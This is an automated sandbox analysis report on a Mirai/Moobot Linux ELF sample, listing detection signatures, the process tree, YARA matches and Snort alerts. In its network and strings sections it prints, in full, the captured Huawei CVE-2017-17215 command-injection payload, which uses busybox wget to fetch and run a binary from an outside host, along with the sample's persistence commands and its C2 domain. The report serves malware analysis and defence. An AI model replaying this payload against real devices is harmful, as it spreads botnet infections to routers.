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Linux Analysis Report
lD25Z9LfKe.elf

Overview

General Information

Sample Name:	lD25Z9LfKe.elf
Original Sample Name:	c929d58b6bb8f66edc985003ba50c3c1.elf
Analysis ID:	830684
MD5:	c929d58b6bb8f66edc985003ba50c3c1
SHA1:	711976261f2f197a341dca8afdb7679f04aa3f99
SHA256:	e1366976365db1f2bffdc37d4e64e12f883f9a20e02b12d52b6a1b346b8f0692
Tags:	32elfmiraipowerpc
Infos:

Detection

Mirai, Moobot

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Moobot

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Sets full permissions to files and/or directories

Yara signature match

Executes the "mkdir" command used to create folders

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "chmod" command used to modify permissions

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample has stripped symbol table

Sample tries to set the executable flag

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830684
Start date and time:	2023-03-20 15:58:57 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 23s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	lD25Z9LfKe.elf
Original Sample Name:	c929d58b6bb8f66edc985003ba50c3c1.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/0@2/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
TCP Packets have been reduced to 100
VT rate limit hit for: j.xnyidc.top

Runtime Messages

Command:	/tmp/lD25Z9LfKe.elf
PID:	6224
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

lD25Z9LfKe.elf (PID: 6224, Parent: 6126, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/lD25Z9LfKe.elf

lD25Z9LfKe.elf New Fork (PID: 6226, Parent: 6224)

sh (PID: 6226, Parent: 6224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv /tmp/lD25Z9LfKe.elf bin/watchdog; chmod 777 bin/watchdog"

sh New Fork (PID: 6228, Parent: 6226)

rm (PID: 6228, Parent: 6226, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/watchdog

sh New Fork (PID: 6229, Parent: 6226)

mkdir (PID: 6229, Parent: 6226, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 6230, Parent: 6226)

mv (PID: 6230, Parent: 6226, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/lD25Z9LfKe.elf bin/watchdog

sh New Fork (PID: 6231, Parent: 6226)

chmod (PID: 6231, Parent: 6226, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/watchdog

lD25Z9LfKe.elf New Fork (PID: 6232, Parent: 6224)

lD25Z9LfKe.elf New Fork (PID: 6234, Parent: 6232)

lD25Z9LfKe.elf New Fork (PID: 6236, Parent: 6232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b https://unit42.paloaltonetworks.com/moobot-d-link-devices/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
lD25Z9LfKe.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
lD25Z9LfKe.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
lD25Z9LfKe.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xd33c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd38c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd404:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd418:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd42c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd47c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
6224.1.00007effc4001000.00007effc4011000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6224.1.00007effc4001000.00007effc4011000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6224.1.00007effc4001000.00007effc4011000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xd33c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd38c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd3f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd404:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd418:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd42c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd440:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd454:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd468:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd47c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd490:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd4cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: lD25Z9LfKe.elf PID: 6224	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: lD25Z9LfKe.elf PID: 6224	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x377c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x381c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x386c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3894:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Snort Signatures

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.2.23 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.238.8.8.833891532023883 03/20/23-15:59:46.829796
SID:	2023883
Source Port:	33891
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.68.246

Timestamp:	192.168.2.2341.37.68.24642302372152835222 03/20/23-16:00:54.853824
SID:	2835222
Source Port:	42302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 192.119.137.74

Timestamp:	192.168.2.23192.119.137.7457754372152835222 03/20/23-16:01:50.220586
SID:	2835222
Source Port:	57754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 156.224.24.249 - Destination IP: 192.168.2.23

Timestamp:	156.224.24.249192.168.2.2356999478282030489 03/20/23-16:01:45.327043
SID:	2030489
Source Port:	56999
Destination Port:	47828
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.222.152

Timestamp:	192.168.2.23197.39.222.15245430372152835222 03/20/23-16:01:18.217927
SID:	2835222
Source Port:	45430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 156.224.24.249 - Destination IP: 192.168.2.23

Timestamp:	156.224.24.249192.168.2.2356999477962030489 03/20/23-16:00:44.195958
SID:	2030489
Source Port:	56999
Destination Port:	47796
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.214.98.38

Timestamp:	192.168.2.23197.214.98.3835290372152835222 03/20/23-16:00:31.085625
SID:	2835222
Source Port:	35290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 141.117.56.180

Timestamp:	192.168.2.23141.117.56.18059180372152835222 03/20/23-16:01:09.639143
SID:	2835222
Source Port:	59180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 156.224.24.249

Timestamp:	192.168.2.23156.224.24.24947828569992030490 03/20/23-16:00:49.583605
SID:	2030490
Source Port:	47828
Destination Port:	56999
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.117.1.253

Timestamp:	192.168.2.2334.117.1.25340848372152835222 03/20/23-16:00:17.642577
SID:	2835222
Source Port:	40848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 103.167.148.132

Timestamp:	192.168.2.23103.167.148.13246324372152835222 03/20/23-16:00:41.668931
SID:	2835222
Source Port:	46324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.237.49.241

Timestamp:	192.168.2.2341.237.49.24132970372152835222 03/20/23-16:00:38.463363
SID:	2835222
Source Port:	32970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.234.87.51

Timestamp:	192.168.2.2341.234.87.5138528372152835222 03/20/23-16:01:07.497528
SID:	2835222
Source Port:	38528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.236.241.240

Timestamp:	192.168.2.2341.236.241.24052042372152835222 03/20/23-16:01:35.636258
SID:	2835222
Source Port:	52042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.59.68

Timestamp:	192.168.2.23197.234.59.6833038372152835222 03/20/23-16:00:22.715968
SID:	2835222
Source Port:	33038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.34.164.79

Timestamp:	192.168.2.2341.34.164.7957718372152835222 03/20/23-15:59:50.971789
SID:	2835222
Source Port:	57718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.2.23 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.238.8.8.859786532023883 03/20/23-16:00:49.089429
SID:	2023883
Source Port:	59786
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 20.28.196.139

Timestamp:	192.168.2.2320.28.196.13955414372152835222 03/20/23-16:01:13.960170
SID:	2835222
Source Port:	55414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 156.224.24.249

Timestamp:	192.168.2.23156.224.24.24947796569992030490 03/20/23-15:59:47.422349
SID:	2030490
Source Port:	47796
Destination Port:	56999
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: j.xnyidc.top

System Summary

Malicious sample detected (through community Yara rule)

Source: lD25Z9LfKe.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6224.1.00007effc4001000.00007effc4011000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: lD25Z9LfKe.elf PID: 6224, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: lD25Z9LfKe.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6224.1.00007effc4001000.00007effc4011000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: lD25Z9LfKe.elf PID: 6224, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemd

Source: classification engine

Classification label: mal92.troj.linELF@0/0@2/0

Persistence and Installation Behavior

Sets full permissions to files and/or directories

Source: /bin/sh (PID: 6231)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/watchdog

Source: /bin/sh (PID: 6229)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Source: /bin/sh (PID: 6231)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/watchdog

Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/6236/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/1582/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/3088/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/230/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/110/cmdline
Source: /tmp/lD25Z9LfKe.elf (PID: 6234)	File opened: /proc/231/cmdline
